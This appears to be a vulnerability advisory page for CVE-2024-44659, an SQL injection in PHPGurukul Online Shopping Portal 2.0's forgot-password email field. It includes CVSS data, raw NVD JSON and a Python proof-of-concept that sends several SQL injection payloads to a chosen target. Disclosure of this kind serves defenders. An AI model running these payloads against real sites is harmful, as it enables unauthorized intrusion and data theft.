Security Vulnerability Report
中文
CVE-2024-44659 CVSS 9.8 CRITICAL

CVE-2024-44659

Published: 2025-11-17 20:15:49
Last Modified: 2025-11-18 20:44:42

Description

PHPGurukul Online Shopping Portal 2.0 is vulnerable to SQL Injection via the email parameter in forgot-password.php.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:online_shopping_portal:2.0:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Online Shopping Portal 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2024-44659 SQL Injection PoC # Target: PHPGurukul Online Shopping Portal 2.0 # Vulnerability: SQL Injection in forgot-password.php email parameter def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2024-44659 This demonstrates the vulnerability in the forgot-password functionality """ # Target endpoint endpoint = f"{target_url}/forgot-password.php" # Payloads for SQL Injection testing payloads = [ "' OR '1'='1 -- -", # Basic boolean-based blind injection "' OR '1'='1' #", # Alternative comment syntax "admin' -- -", # Authentication bypass attempt "' UNION SELECT 1,2,3 -- -", # Union-based injection "' WAITFOR DELAY '0:0:5' -- -" # Time-based blind injection ] print(f"[*] Target: {endpoint}") print(f"[*] Testing {len(payloads)} SQL injection payloads...\n") for i, payload in enumerate(payloads, 1): print(f"[*] Testing payload {i}/{len(payloads)}: {payload}") data = { 'email': payload, 'submit': 'Submit' } try: response = requests.post(endpoint, data=data, timeout=10) # Check for SQL error indicators in response sql_errors = [ 'mysql_fetch', 'mysqli_fetch', 'SQL syntax', 'MySQL server version', 'Warning: mysql', 'SQLite3::query', 'PGresult', 'syntax error' ] response_text = response.text.lower() for error in sql_errors: if error.lower() in response_text: print(f"[!] VULNERABLE! SQL error detected: {error}") print(f"[+] Payload worked: {payload}") return True # Check for time delay (time-based blind injection) if 'WAITFOR' in payload: print(f"[+] Time-based payload sent, check response time") print(f"[-] Payload {i} did not trigger obvious SQL error") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("\n[*] Note: Manual verification recommended") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2024-44659.py <target_url>") print("Example: python cve-2024-44659.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-44659", "sourceIdentifier": "[email protected]", "published": "2025-11-17T20:15:49.310", "lastModified": "2025-11-18T20:44:41.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Online Shopping Portal 2.0 is vulnerable to SQL Injection via the email parameter in forgot-password.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:online_shopping_portal:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "6E358155-68C0-4C86-8359-49F37445DC44"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-44659.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/shopping-portal-free-download/", "source": "[email protected]", "tags": ["Product"]}]}}